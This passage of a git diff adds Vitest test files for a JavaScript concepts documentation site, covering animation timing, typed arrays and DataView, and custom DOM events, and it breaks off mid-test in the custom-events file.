const totalDistance = 400 + + function calculatePosition(progress) { + return progress * totalDistance + } + + expect(calculatePosition(0)).toBe(0) + expect(calculatePosition(0.5)).toBe(200) + expect(calculatePosition(1)).toBe(400) + }) + }) + + describe('Delta Time Calculation', () => { + it('should calculate deltaTime correctly', () => { + let lastTime = 0 + const speed = 200 + + function calculateMovement(currentTime) { + const deltaTime = (currentTime - lastTime) / 1000 + lastTime = currentTime + return speed * deltaTime + } + + lastTime = 0 + const movement60fps = calculateMovement(16.67) + expect(movement60fps).toBeCloseTo(200 * 0.01667, 1) + + lastTime = 0 + const movement30fps = calculateMovement(33.33) + expect(movement30fps).toBeCloseTo(200 * 0.03333, 1) + }) + + it('should produce approximately same distance at different frame rates', () => { + const speed = 200 + const totalTime = 1000 + + let position60fps = 0 + for (let time = 16.67; time <= totalTime; time += 16.67) { + position60fps += speed * (16.67 / 1000) + } + + let position30fps = 0 + for (let time = 33.33; time <= totalTime; time += 33.33) { + position30fps += speed * (33.33 / 1000) + } + + expect(position60fps).toBeCloseTo(200, -1) + expect(position30fps).toBeCloseTo(200, -1) + expect(Math.abs(position60fps - position30fps)).toBeLessThan(10) + }) + }) + + describe('Reusable Animation Function', () => { + it('should apply easing function to progress', () => { + const easeIn = t => t * t + + expect(easeIn(0.5)).toBe(0.25) + + function applyEasing(linearProgress, easingFn) { + return easingFn(linearProgress) + } + + expect(applyEasing(0, easeIn)).toBe(0) + expect(applyEasing(0.5, easeIn)).toBe(0.25) + expect(applyEasing(1, easeIn)).toBe(1) + }) + + it('should clamp progress to 1 when time exceeds duration', () => { + const duration = 1000 + const startTime = 0 + + function getProgress(currentTime) { + let progress = (currentTime - startTime) / duration + if (progress > 1) progress = 1 + return progress + } + + expect(getProgress(500)).toBe(0.5) + expect(getProgress(1000)).toBe(1) + expect(getProgress(2000)).toBe(1) + }) + }) + + describe('Pausable Animation Class', () => { + class Animation { + constructor({ duration, timing, draw }) { + this.duration = duration + this.timing = timing + this.draw = draw + this.elapsed = 0 + this.running = false + this.lastTime = null + } + + start() { + if (this.running) return + this.running = true + this.lastTime = performance.now() + } + + pause() { + this.running = false + } + + getProgress() { + let progress = this.elapsed / this.duration + if (progress > 1) progress = 1 + return this.timing(progress) + } + } + + it('should track elapsed time and running state', () => { + const anim = new Animation({ + duration: 1000, + timing: t => t, + draw: () => {} + }) + + expect(anim.elapsed).toBe(0) + expect(anim.running).toBe(false) + }) + + it('should not start multiple times if already running', () => { + const anim = new Animation({ + duration: 1000, + timing: t => t, + draw: () => {} + }) + + anim.start() + expect(anim.running).toBe(true) + + const initialLastTime = anim.lastTime + anim.start() + expect(anim.lastTime).toBe(initialLastTime) + }) + + it('should pause and set running to false', () => { + const anim = new Animation({ + duration: 1000, + timing: t => t, + draw: () => {} + }) + + anim.start() + expect(anim.running).toBe(true) + + anim.pause() + expect(anim.running).toBe(false) + }) + + it('should apply timing function to progress', () => { + const easeIn = t => t * t + const anim = new Animation({ + duration: 1000, + timing: easeIn, + draw: () => {} + }) + + anim.elapsed = 500 + expect(anim.getProgress()).toBe(0.25) + + anim.elapsed = 1000 + expect(anim.getProgress()).toBe(1) + }) + }) + + describe('First Frame Handling', () => { + it('should demonstrate the problem with improper initialization', () => { + let lastTime = 0 + + function animateWrong(time) { + const delta = time - lastTime + lastTime = time + return delta + } + + const delta = animateWrong(5000) + expect(delta).toBe(5000) + }) + + it('should properly handle first frame with null check', () => { + let lastTime = null + + function animateCorrect(time) { + if (lastTime === null) { + lastTime = time + return null + } + + const delta = time - lastTime + lastTime = time + return delta + } + + const firstDelta = animateCorrect(5000) + expect(firstDelta).toBeNull() + + const secondDelta = animateCorrect(5016.67) + expect(secondDelta).toBeCloseTo(16.67, 1) + }) + }) +}) diff --git a/tests/beyond/data-handling/typed-arrays-arraybuffers/typed-arrays-arraybuffers.test.js b/tests/beyond/data-handling/typed-arrays-arraybuffers/typed-arrays-arraybuffers.test.js new file mode 100644 index 00000000..abc461a1 --- /dev/null +++ b/tests/beyond/data-handling/typed-arrays-arraybuffers/typed-arrays-arraybuffers.test.js @@ -0,0 +1,601 @@ +import { describe, it, expect } from 'vitest' + +/** + * Tests for Typed Arrays & ArrayBuffers concept + * Source: /docs/beyond/concepts/typed-arrays-arraybuffers.mdx + */ + +describe('Typed Arrays & ArrayBuffers', () => { + // ============================================================ + // ARRAYBUFFER BASICS + // From typed-arrays-arraybuffers.mdx lines ~10-20 + // ============================================================ + + describe('ArrayBuffer Basics', () => { + // From lines 10-20: Opening example + it('should create a buffer with specified byte length', () => { + const buffer = new ArrayBuffer(16) + + expect(buffer.byteLength).toBe(16) + }) + + // From lines 70-80: Cannot access ArrayBuffer directly + it('should not allow direct access to ArrayBuffer bytes', () => { + const buffer = new ArrayBuffer(16) + + expect(buffer[0]).toBe(undefined) // Can't access directly! + }) + + // From lines 85-95: ArrayBuffer slice + it('should slice a portion of the buffer to a new ArrayBuffer', () => { + const original = new ArrayBuffer(16) + const sliced = original.slice(4, 8) + + expect(sliced.byteLength).toBe(4) + expect(original.byteLength).toBe(16) // Original unchanged + }) + }) + + // ============================================================ + // TYPED ARRAY CREATION + // From typed-arrays-arraybuffers.mdx lines ~120-180 + // ============================================================ + + describe('Creating Typed Arrays', () => { + describe('From Length', () => { + // From lines 125-135: Create from length + it('should create a typed array with specified element count', () => { + const uint8 = new Uint8Array(4) + + expect(uint8.length).toBe(4) + expect(uint8.byteLength).toBe(4) + expect(uint8[0]).toBe(0) // Initialized to zero + }) + }) + + describe('From Array', () => { + // From lines 140-150: Create from regular array + it('should create a typed array from a regular array', () => { + const uint8 = new Uint8Array([10, 20, 30, 40]) + + expect(uint8[0]).toBe(10) + expect(uint8[1]).toBe(20) + expect(uint8.length).toBe(4) + }) + }) + + describe('From Buffer', () => { + // From lines 155-170: Create view over buffer + it('should create a view over an existing buffer', () => { + const buffer = new ArrayBuffer(8) + const int32 = new Int32Array(buffer) + + expect(int32.length).toBe(2) // 8 bytes / 4 bytes per int32 + }) + + it('should create a partial view starting at an offset', () => { + const buffer = new ArrayBuffer(8) + const int16 = new Int16Array(buffer, 4) // Start at byte 4 + + expect(int16.length).toBe(2) // 4 remaining bytes / 2 bytes per int16 + }) + }) + + describe('From Another Typed Array', () => { + // From lines 175-185: Copy with truncation + it('should copy values with truncation when converting types', () => { + const original = new Uint16Array([1000, 2000]) + const copy = new Uint8Array(original) + + // Values truncated to 8 bits + expect(copy[0]).toBe(232) // 1000 % 256 = 232 + expect(copy[1]).toBe(208) // 2000 % 256 = 208 + }) + }) + }) + + // ============================================================ + // USING TYPED ARRAYS + // From typed-arrays-arraybuffers.mdx lines ~190-220 + // ============================================================ + + describe('Using Typed Arrays', () => { + // From lines 190-205: Array-like operations + it('should support array-like access', () => { + const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5]) + + expect(numbers[0]).toBe(1.5) + expect(numbers.length).toBe(4) + }) + + it('should support iteration with for...of', () => { + const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5]) + const collected = [] + + for (const num of numbers) { + collected.push(num) + } + + expect(collected).toEqual([1.5, 2.5, 3.5, 4.5]) + }) + + it('should support map, filter, and reduce', () => { + const numbers = new Float64Array([1.5, 2.5, 3.5, 4.5]) + + const doubled = numbers.map(x => x * 2) + expect([...doubled]).toEqual([3, 5, 7, 9]) + + const sum = numbers.reduce((a, b) => a + b, 0) + expect(sum).toBe(12) + }) + }) + + // ============================================================ + // MULTIPLE VIEWS ON SAME BUFFER + // From typed-arrays-arraybuffers.mdx lines ~230-280 + // ============================================================ + + describe('Multiple Views on Same Buffer', () => { + // From lines 235-260: Different views of same data + it('should allow multiple views of the same buffer', () => { + const buffer = new ArrayBuffer(4) + + // View as 4 separate bytes + const bytes = new Uint8Array(buffer) + bytes[0] = 0x12 + bytes[1] = 0x34 + bytes[2] = 0x56 + bytes[3] = 0x78 + + // View the same bytes as a single 32-bit integer + const int32 = new Uint32Array(buffer) + // Little-endian: least significant byte first + expect(int32[0].toString(16)).toBe('78563412') + + // View as two 16-bit integers + const int16 = new Uint16Array(buffer) + expect(int16[0].toString(16)).toBe('3412') + expect(int16[1].toString(16)).toBe('7856') + }) + + it('should reflect changes across all views of the same buffer', () => { + const buffer = new ArrayBuffer(4) + const uint8 = new Uint8Array(buffer) + const uint32 = new Uint32Array(buffer) + + uint32[0] = 0x12345678 + + // Changes visible in uint8 view (little-endian order) + expect(uint8[0]).toBe(0x78) + expect(uint8[1]).toBe(0x56) + expect(uint8[2]).toBe(0x34) + expect(uint8[3]).toBe(0x12) + }) + }) + + // ============================================================ + // DATAVIEW + // From typed-arrays-arraybuffers.mdx lines ~290-360 + // ============================================================ + + describe('DataView', () => { + // From lines 295-320: DataView with different types + it('should read and write different types at specific offsets', () => { + const buffer = new ArrayBuffer(12) + const view = new DataView(buffer) + + // Write different types at specific offsets + view.setUint8(0, 255) // 1 byte at offset 0 + view.setUint16(1, 1000, true) // 2 bytes at offset 1 (little-endian) + view.setFloat32(3, 3.14, true) // 4 bytes at offset 3 (little-endian) + view.setUint32(7, 42, true) // 4 bytes at offset 7 (little-endian) + + // Read them back + expect(view.getUint8(0)).toBe(255) + expect(view.getUint16(1, true)).toBe(1000) + expect(view.getFloat32(3, true)).toBeCloseTo(3.14, 2) + expect(view.getUint32(7, true)).toBe(42) + }) + + // From lines 330-360: DataView methods + it('should support all DataView getter/setter methods', () => { + const dv = new DataView(new ArrayBuffer(24)) + + // Int8 + dv.setInt8(0, -1) + expect(dv.getInt8(0)).toBe(-1) + + // Uint8 + dv.setUint8(1, 255) + expect(dv.getUint8(1)).toBe(255) + + // Int16 (little-endian) + dv.setInt16(2, -1000, true) + expect(dv.getInt16(2, true)).toBe(-1000) + + // Uint16 (little-endian) + dv.setUint16(4, 65000, true) + expect(dv.getUint16(4, true)).toBe(65000) + + // Float32 (little-endian) + dv.setFloat32(6, 3.14, true) + expect(dv.getFloat32(6, true)).toBeCloseTo(3.14, 2) + + // Float64 (little-endian) + dv.setFloat64(10, 3.14159265, true) + expect(dv.getFloat64(10, true)).toBeCloseTo(3.14159265, 8) + }) + }) + + // ============================================================ + // TEXT ENCODING/DECODING + // From typed-arrays-arraybuffers.mdx lines ~440-470 + // ============================================================ + + describe('Text Encoding and Decoding', () => { + // From lines 445-460: TextEncoder and TextDecoder + it('should convert string to bytes with TextEncoder', () => { + const encoder = new TextEncoder() + const bytes = encoder.encode("Hello 世界") + + expect(bytes).toBeInstanceOf(Uint8Array) + expect(bytes[0]).toBe(72) // 'H' + expect(bytes[1]).toBe(101) // 'e' + expect(bytes[2]).toBe(108) // 'l' + expect(bytes.length).toBe(12) // UTF-8: 6 ASCII + 6 for 2 Chinese chars + }) + + it('should convert bytes to string with TextDecoder', () => { + const encoder = new TextEncoder() + const bytes = encoder.encode("Hello 世界") + + const decoder = new TextDecoder('utf-8') + const text = decoder.decode(bytes) + + expect(text).toBe("Hello 世界") + }) + + it('should decode ArrayBuffer directly', () => { + const buffer = new ArrayBuffer(5) + new Uint8Array(buffer).set([72, 101, 108, 108, 111]) // "Hello" + + const decoder = new TextDecoder('utf-8') + expect(decoder.decode(buffer)).toBe("Hello") + }) + }) + + // ============================================================ + // PROPERTIES AND METHODS + // From typed-arrays-arraybuffers.mdx lines ~480-530 + // ============================================================ + + describe('Properties and Methods', () => { + describe('Properties', () => { + // From lines 485-500: Typed array properties + it('should have correct properties', () => { + const arr = new Int32Array([1, 2, 3, 4]) + + expect(arr.length).toBe(4) // Number of elements + expect(arr.byteLength).toBe(16) // Total bytes (4 elements × 4 bytes) + expect(arr.byteOffset).toBe(0) // Offset into buffer + expect(arr.buffer).toBeInstanceOf(ArrayBuffer) + expect(Int32Array.BYTES_PER_ELEMENT).toBe(4) + }) + }) + + describe('set() Method', () => { + // From lines 505-520: set() method + it('should copy values from another array', () => { + const target = new Uint8Array(10) + const source = new Uint8Array([1, 2, 3]) + + target.set(source) // Copy to start + target.set(source, 5) // Copy starting at index 5 + + expect([...target]).toEqual([1, 2, 3, 0, 0, 1, 2, 3, 0, 0]) + }) + }) + + describe('subarray() Method', () => { + // From lines 525-535: subarray() shares buffer + it('should create a view that shares the same buffer', () => { + const original = new Uint8Array([1, 2, 3, 4, 5]) + const view = original.subarray(2, 4) + + expect([...view]).toEqual([3, 4]) + + // Modifying the view affects the original + view[0] = 99 + expect(original[2]).toBe(99) // Original changed! + }) + }) + }) + + // ============================================================ + // COMMON MISTAKES + // From typed-arrays-arraybuffers.mdx lines ~550-600 + // ============================================================ + + describe('Common Mistakes', () => { + describe('subarray() vs slice()', () => { + // From lines 555-575: subarray vs slice + it('should demonstrate that subarray shares the buffer', () => { + const original = new Uint8Array([1, 2, 3, 4, 5]) + const section = original.subarray(1, 4) + + section[0] = 99 + expect(original[1]).toBe(99) // Original changed! + }) + + it('should demonstrate that slice creates an independent copy', () => { + const original = new Uint8Array([1, 2, 3, 4, 5]) + const copy = original.slice(1, 4) + + copy[0] = 99 + expect(original[1]).toBe(2) // Original unchanged + }) + }) + + describe('Overflow Behavior', () => { + // From lines 580-600: Overflow wrapping + it('should wrap values that exceed range (Uint8Array)', () => { + const bytes = new Uint8Array([250]) + bytes[0] += 10 + + expect(bytes[0]).toBe(4) // 260 - 256 = 4 (wraps around) + }) + + it('should clamp values with Uint8ClampedArray', () => { + const clamped = new Uint8ClampedArray([250]) + clamped[0] += 10 + + expect(clamped[0]).toBe(255) // Clamped to max value + }) + + it('should clamp negative values to zero with Uint8ClampedArray', () => { + const clamped = new Uint8ClampedArray([10]) + clamped[0] = -50 + + expect(clamped[0]).toBe(0) // Clamped to min value + }) + + it('should demonstrate integer overflow in Uint8Array', () => { + const arr = new Uint8Array(1) + arr[0] = 300 + + expect(arr[0]).toBe(44) // 300 % 256 = 44 + }) + }) + }) + + // ============================================================ + // CONVERTING TO REGULAR ARRAYS + // From typed-arrays-arraybuffers.mdx lines ~620-645 + // ============================================================ + + describe('Converting to Regular Arrays', () => { + // From lines 625-640: Array.from and spread + it('should convert to regular array with Array.from', () => { + const typed = new Uint8Array([1, 2, 3, 4, 5]) + const array = Array.from(typed) + + expect(array).toEqual([1, 2, 3, 4, 5]) + expect(Array.isArray(array)).toBe(true) + }) + + it('should convert to regular array with spread operator', () => { + const typed = new Uint8Array([1, 2, 3, 4, 5]) + const array = [...typed] + + expect(array).toEqual([1, 2, 3, 4, 5]) + expect(Array.isArray(array)).toBe(true) + }) + + it('should convert regular array back to typed array', () => { + const array = [1, 2, 3, 4, 5] + const typed = new Uint8Array(array) + + expect(typed).toBeInstanceOf(Uint8Array) + expect([...typed]).toEqual([1, 2, 3, 4, 5]) + }) + }) + + // ============================================================ + // TYPED ARRAY TYPES + // From typed-arrays-arraybuffers.mdx lines ~100-120 + // ============================================================ + + describe('Typed Array Types', () => { + it('should create Int8Array with correct range', () => { + const arr = new Int8Array([127, -128, 200]) + + expect(arr[0]).toBe(127) + expect(arr[1]).toBe(-128) + expect(arr[2]).toBe(-56) // 200 wraps to -56 in signed 8-bit + }) + + it('should create Int16Array with correct range', () => { + const arr = new Int16Array([32767, -32768]) + + expect(arr[0]).toBe(32767) + expect(arr[1]).toBe(-32768) + }) + + it('should create Int32Array with correct range', () => { + const arr = new Int32Array([2147483647, -2147483648]) + + expect(arr[0]).toBe(2147483647) + expect(arr[1]).toBe(-2147483648) + }) + + it('should create Float32Array with floating point values', () => { + const arr = new Float32Array([3.14, -2.5, 1000.5]) + + expect(arr[0]).toBeCloseTo(3.14, 2) + expect(arr[1]).toBeCloseTo(-2.5, 2) + expect(arr[2]).toBeCloseTo(1000.5, 2) + }) + + it('should create Float64Array with high precision floating point', () => { + const arr = new Float64Array([3.141592653589793]) + + expect(arr[0]).toBe(3.141592653589793) + }) + + it('should create BigInt64Array with BigInt values', () => { + const arr = new BigInt64Array([BigInt('9007199254740993')]) + + expect(arr[0]).toBe(9007199254740993n) + }) + + it('should create BigUint64Array with unsigned BigInt values', () => { + const arr = new BigUint64Array([BigInt('18446744073709551615')]) + + expect(arr[0]).toBe(18446744073709551615n) + }) + }) + + // ============================================================ + // BYTES_PER_ELEMENT + // ============================================================ + + describe('BYTES_PER_ELEMENT', () => { + it('should report correct bytes per element for each type', () => { + expect(Int8Array.BYTES_PER_ELEMENT).toBe(1) + expect(Uint8Array.BYTES_PER_ELEMENT).toBe(1) + expect(Uint8ClampedArray.BYTES_PER_ELEMENT).toBe(1) + expect(Int16Array.BYTES_PER_ELEMENT).toBe(2) + expect(Uint16Array.BYTES_PER_ELEMENT).toBe(2) + expect(Int32Array.BYTES_PER_ELEMENT).toBe(4) + expect(Uint32Array.BYTES_PER_ELEMENT).toBe(4) + expect(Float32Array.BYTES_PER_ELEMENT).toBe(4) + expect(Float64Array.BYTES_PER_ELEMENT).toBe(8) + expect(BigInt64Array.BYTES_PER_ELEMENT).toBe(8) + expect(BigUint64Array.BYTES_PER_ELEMENT).toBe(8) + }) + }) + + // ============================================================ + // FIXED LENGTH BEHAVIOR + // ============================================================ + + describe('Fixed Length Behavior', () => { + it('should not allow push, pop, or splice on typed arrays', () => { + const arr = new Uint8Array([1, 2, 3]) + + expect(arr.push).toBe(undefined) + expect(arr.pop).toBe(undefined) + expect(arr.splice).toBe(undefined) + expect(arr.shift).toBe(undefined) + expect(arr.unshift).toBe(undefined) + }) + + it('should not change length when setting out-of-bounds index', () => { + const arr = new Uint8Array(3) + arr[10] = 42 // Attempting to write beyond length + + expect(arr.length).toBe(3) // Length unchanged + expect(arr[10]).toBe(undefined) // Value not stored + }) + }) + + // ============================================================ + // ARRAYBUFFER ISVIEW + // ============================================================ + + describe('ArrayBuffer.isView', () => { + it('should return true for typed arrays', () => { + expect(ArrayBuffer.isView(new Uint8Array(4))).toBe(true) + expect(ArrayBuffer.isView(new Int32Array(4))).toBe(true) + expect(ArrayBuffer.isView(new Float64Array(4))).toBe(true) + }) + + it('should return true for DataView', () => { + const buffer = new ArrayBuffer(8) + const view = new DataView(buffer) + + expect(ArrayBuffer.isView(view)).toBe(true) + }) + + it('should return false for ArrayBuffer itself', () => { + const buffer = new ArrayBuffer(8) + + expect(ArrayBuffer.isView(buffer)).toBe(false) + }) + + it('should return false for regular arrays', () => { + expect(ArrayBuffer.isView([1, 2, 3])).toBe(false) + }) + }) + + // ============================================================ + // BUFFER ACCESS + // ============================================================ + + describe('Buffer Access', () => { + it('should access underlying buffer from typed array', () => { + const uint8 = new Uint8Array([1, 2, 3, 4]) + const buffer = uint8.buffer + + expect(buffer).toBeInstanceOf(ArrayBuffer) + expect(buffer.byteLength).toBe(4) + + // Create another view on the same buffer + const uint32 = new Uint32Array(buffer) + expect(uint32.length).toBe(1) + }) + }) + + // ============================================================ + // CONCATENATION PATTERN + // ============================================================ + + describe('Concatenating Typed Arrays', () => { + it('should concatenate typed arrays manually', () => { + const arr1 = new Uint8Array([1, 2, 3]) + const arr2 = new Uint8Array([4, 5, 6]) + + // Create new array with combined length + const combined = new Uint8Array(arr1.length + arr2.length) + combined.set(arr1, 0) + combined.set(arr2, arr1.length) + + expect([...combined]).toEqual([1, 2, 3, 4, 5, 6]) + }) + }) + + // ============================================================ + // ENDIANNESS + // ============================================================ + + describe('Endianness', () => { + it('should demonstrate little-endian byte order in typed arrays', () => { + const buffer = new ArrayBuffer(4) + const uint32 = new Uint32Array(buffer) + const uint8 = new Uint8Array(buffer) + + uint32[0] = 0x01020304 + + // Little-endian: least significant byte first + expect(uint8[0]).toBe(0x04) // Least significant byte + expect(uint8[1]).toBe(0x03) + expect(uint8[2]).toBe(0x02) + expect(uint8[3]).toBe(0x01) // Most significant byte + }) + + it('should allow explicit endianness control with DataView', () => { + const buffer = new ArrayBuffer(4) + const view = new DataView(buffer) + + // Write big-endian (false = big-endian) + view.setUint32(0, 0x01020304, false) + const uint8 = new Uint8Array(buffer) + + // Big-endian: most significant byte first + expect(uint8[0]).toBe(0x01) // Most significant byte + expect(uint8[1]).toBe(0x02) + expect(uint8[2]).toBe(0x03) + expect(uint8[3]).toBe(0x04) // Least significant byte + }) + }) +}) diff --git a/tests/beyond/events/custom-events/custom-events.dom.test.js b/tests/beyond/events/custom-events/custom-events.dom.test.js new file mode 100644 index 00000000..a9c45f42 --- /dev/null +++ b/tests/beyond/events/custom-events/custom-events.dom.test.js @@ -0,0 +1,472 @@ +/** + * @vitest-environment jsdom + */ + +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +/** + * DOM-specific tests for Custom Events concept page + * Source: /docs/beyond/concepts/custom-events.mdx + * + * These tests require jsdom for DOM element interactions + */ + +describe('Custom Events (DOM)', () => { + let element + let parent + let child + + beforeEach(() => { + // Create fresh DOM elements for each test + element = document.createElement('div') + element.id = 'testElement' + document.body.appendChild(element) + + parent = document.createElement('div') + parent.id = 'parent' + child = document.createElement('button') + child.id = 'child' + parent.appendChild(child) + document.body.appendChild(parent) + }) + + afterEach(() => { + // Clean up DOM + document.body.innerHTML = '' + }) + + describe('Dispatching Events', () => { + // MDX lines ~170-185: The dispatchEvent() Method + it('should dispatch custom events on elements', () => { + const handler = vi.fn() + element.addEventListener('customClick', handler) + + const event = new CustomEvent('customClick', { + detail: { clickCount: 5 } + }) + element.dispatchEvent(event) + + expect(handler).toHaveBeenCalledTimes(1) + expect(handler.mock.calls[0][0].detail.clickCount).toBe(5) + }) + + // MDX lines ~190-210: Dispatching on Different Targets + it('should dispatch events on document', () => { + const handler = vi.fn() + document.addEventListener('globalEvent', handler) + + document.dispatchEvent(new CustomEvent('globalEvent', { + detail: { message: 'hello' } + })) + + expect(handler).toHaveBeenCalledTimes(1) + expect(handler.mock.calls[0][0].detail.message).toBe('hello') + + // Cleanup + document.removeEventListener('globalEvent', handler) + }) + + it('should dispatch events on window', () => { + const handler = vi.fn() + window.addEventListener('windowEvent', handler) + + window.dispatchEvent(new CustomEvent('windowEvent', { + detail: { source: 'window' } + })) + + expect(handler).toHaveBeenCalledTimes(1) + + // Cleanup + window.removeEventListener('windowEvent', handler) + }) + + // MDX lines ~235-255: Important: dispatchEvent is Synchronous + it('should execute event handlers synchronously', () => { + const order = [] + + order.push('1: Before dispatch') + + element.addEventListener('myEvent', () => { + order.push('2: Inside listener') + }) + + element.dispatchEvent(new CustomEvent('myEvent')) + + order.push('3: After dispatch') + + expect(order).toEqual([ + '1: Before dispatch', + '2: Inside listener', + '3: After dispatch' + ]) + }) + }) + + describe('Listening for Custom Events', () => { + // MDX lines ~265-285: Use addEventListener + it('should receive events via addEventListener', () => { + const handler = vi.fn() + element.addEventListener('myCustomEvent', handler) + + const event = new CustomEvent('myCustomEvent', { + detail: { value: 'test' } + }) + element.dispatchEvent(event) + + expect(handler).toHaveBeenCalledTimes(1) + expect(handler.mock.calls[0][0].detail.value).toBe('test') + }) + + it('should support multiple listeners for the same event', () => { + const handler1 = vi.fn() + const handler2 = vi.fn() + + element.addEventListener('myCustomEvent', handler1) + element.addEventListener('myCustomEvent', handler2) + + element.dispatchEvent(new CustomEvent('myCustomEvent')) + + expect(handler1).toHaveBeenCalledTimes(1) + expect(handler2).toHaveBeenCalledTimes(1) + }) + + it('should allow removing listeners', () => { + const handler = vi.fn() + + element.addEventListener('myCustomEvent', handler) + element.dispatchEvent(new CustomEvent('myCustomEvent')) + expect(handler).toHaveBeenCalledTimes(1) + + element.removeEventListener('myCustomEvent', handler) + element.dispatchEvent(new CustomEvent('myCustomEvent')) + expect(handler).toHaveBeenCalledTimes(1) // Still 1, not called again + }) + + // MDX lines ~290-300: Don't use on* properties + it('should NOT work with on* properties for custom events', () => { + const handler = vi.fn() + + // This doesn't work - custom events don't have on* properties + element.onmyCustomEvent = handler + + element.dispatchEvent(new CustomEvent('myCustomEvent')) + + // Handler was never called because onmyCustomEvent isn't a real property + expect(handler).not.toHaveBeenCalled() + }) + }) + + describe('Event Bubbling with Custom Events', () => { + // MDX lines ~305-340: Bubbling Example + it('should NOT bubble by default', () => { + const parentHandler = vi.fn() + parent.addEventListener('customClick', parentHandler) + + // Dispatch WITHOUT bubbles + child.dispatchEvent(new CustomEvent('customClick', { + detail: { message: 'no bubbles' } + })) + + // Parent should NOT hear it + expect(parentHandler).not.toHaveBeenCalled() + }) + + it('should bubble when bubbles: true', () => { + const parentHandler = vi.fn() + parent.addEventListener('customClick', parentHandler) + + // Dispatch WITH bubbles + child.dispatchEvent(new CustomEvent('customClick', { + detail: { message: 'with bubbles' }, + bubbles: true + })) + + // Parent SHOULD hear it + expect(parentHandler).toHaveBeenCalledTimes(1) + expect(parentHandler.mock.calls[0][0].detail.message).toBe('with bubbles') + }) + + it('should set correct target and currentTarget during bubbling', () => { + let capturedTarget = null + let capturedCurrentTarget = null + + parent.addEventListener('test', (e) => { + capturedTarget = e.target + capturedCurrentTarget = e.currentTarget + }) + + child.dispatchEvent(new CustomEvent('test', { bubbles: true })) + + expect(capturedTarget).toBe(child) // Original dispatcher + expect(capturedCurrentTarget).toBe(parent) // Element handling the event + }) + + // MDX Question 2: Will the parent hear this event? + it('Question 2: parent should NOT hear non-bubbling event', () => { + const parentHandler = vi.fn() + parent.addEventListener('notify', parentHandler) + + child.dispatchEvent(new CustomEvent('notify', { + detail: { message: 'hello' } + })) + + expect(parentHandler).not.toHaveBeenCalled() + }) + }) + + describe('Canceling Custom Events', () => { + // MDX lines ~350-390: Canceling Custom Events + it('should return true when event is not canceled', () => { + element.addEventListener('action', () => { + // Don't call preventDefault + }) + + const event = new CustomEvent('action', { cancelable: true }) + const result = element.dispatchEvent(event) + + expect(result).toBe(true) + }) + + it('should return false when preventDefault is called', () => { + element.addEventListener('action', (e) => { + e.preventDefault() + }) + + const event = new CustomEvent('action', { cancelable: true }) + const result = element.dispatchEvent(event) + + expect(result).toBe(false) + }) + + it('should ignore preventDefault when cancelable is false', () => { + element.addEventListener('action', (e) => { + e.preventDefault() + }) + + // Without cancelable: true + const event = new CustomEvent('action') + const result = element.dispatchEvent(event) + + // Returns true even though preventDefault was called + expect(result).toBe(true) + }) + + // MDX Question 3: What does dispatchEvent return here? + it('Question 3: dispatchEvent returns false when canceled', () => { + const event = new CustomEvent('action', { cancelable: true }) + + element.addEventListener('action', (e) => { + e.preventDefault() + }) + + const result = element.dispatchEvent(event) + expect(result).toBe(false) + }) + + it('should allow checking defaultPrevented property', () => { + element.addEventListener('test', (e) => { + e.preventDefault() + }) + + const event = new CustomEvent('test', { cancelable: true }) + element.dispatchEvent(event) + + expect(event.defaultPrevented).toBe(true) + }) + }) + + describe('Component Communication Pattern', () => { + // MDX lines ~400-450: Shopping Cart Example + it('should enable decoupled component communication', () => { + // Simulate ShoppingCart class + const cartElement = document.createElement('div') + cartElement.id = 'shopping-cart' + document.body.appendChild(cartElement) + + const items = [] + + function addItem(item) { + items.push(item) + cartElement.dispatchEvent(new CustomEvent('cart:itemAdded', { + detail: { item, totalItems: items.length }, + bubbles: true + })) + } + + // Simulate CartBadge listener + const badgeUpdates = [] + document.addEventListener('cart:itemAdded', (e) => { + badgeUpdates.push(e.detail.totalItems) + }) + + // Add items + addItem({ id: 1, name: 'Apple' }) + addItem({ id: 2, name: 'Banana' }) + + expect(badgeUpdates).toEqual([1, 2]) + }) + }) + + describe('Common Mistakes', () => { + // MDX Common Mistakes section + it('Mistake 1: forgetting bubbles: true', () => { + const parentHandler = vi.fn() + parent.addEventListener('notify', parentHandler) + + // Without bubbles - parent won't hear it + child.dispatchEvent(new CustomEvent('notify', { + detail: { message: 'hello' } + })) + + expect(parentHandler).not.toHaveBeenCalled() + + // With bubbles - parent will hear it + child.dispatchEvent(new CustomEvent('notify', { + detail: { message: 'hello' }, + bubbles: true + })) + + expect(parentHandler).toHaveBeenCalledTimes(1) + }) + + // MDX Question 4: Why doesn't this work? + it('Question 4: on* properties do not work for custom events', () => { + const handler = vi.fn() + + // This doesn't work + element.oncustomEvent = handler + element.dispatchEvent(new CustomEvent('customEvent')) + + expect(handler).not.toHaveBeenCalled() + + // This works + element.addEventListener('customEvent', handler) + element.dispatchEvent(new CustomEvent('customEvent')) + + expect(handler).toHaveBeenCalledTimes(1) + }) + + it('Mistake 3: dispatching on wrong element', () => { + const sidebar = document.createElement('div') + sidebar.id = 'sidebar' + const header = document.createElement('div') + header.id = 'header' + document.body.appendChild(sidebar) + document.body.appendChild(header) + + const sidebarHandler = vi.fn() + sidebar.addEventListener('update', sidebarHandler) + + // Dispatching on header - sidebar won't hear it + header.dispatchEvent(new CustomEvent('update')) + + expect(sidebarHandler).not.toHaveBeenCalled() + + // Dispatch on document for global events + const globalHandler = vi.fn() + document.addEventListener('update', globalHandler) + document.dispatchEvent(new CustomEvent('update')) + + expect(globalHandler).toHaveBeenCalledTimes(1) + + // Cleanup + document.removeEventListener('update', globalHandler) + }) + + it('Mistake 4: forgetting cancelable: true', () => { + element.addEventListener('submit', e => e.preventDefault()) + + // Without cancelable - returns true even with preventDefault + const eventWithoutCancelable = new CustomEvent('submit') + const result1 = element.dispatchEvent(eventWithoutCancelable) + expect(result1).toBe(true) + + // With cancelable - returns false when preventDefault is called + const eventWithCancelable = new CustomEvent('submit', { cancelable: true }) + const result2 = element.dispatchEvent(eventWithCancelable) + expect(result2).toBe(false) + }) + + // MDX Question 5: synchronous execution + it('Question 5: dispatchEvent is synchronous', () => { + let value = 'before' + + element.addEventListener('sync', () => { + value = 'inside' + }) + + element.dispatchEvent(new CustomEvent('sync')) + + // Value is 'inside' immediately - not 'before'! + expect(value).toBe('inside') + }) + }) + + describe('Opening Example', () => { + // MDX lines ~10-20: Opening code example + it('should demonstrate userLoggedIn custom event', () => { + const messages = [] + + // Listen for the event + document.addEventListener('userLoggedIn', (e) => { + messages.push(`Welcome, ${e.detail.username}!`) + }) + + // Create and dispatch the event + const event = new 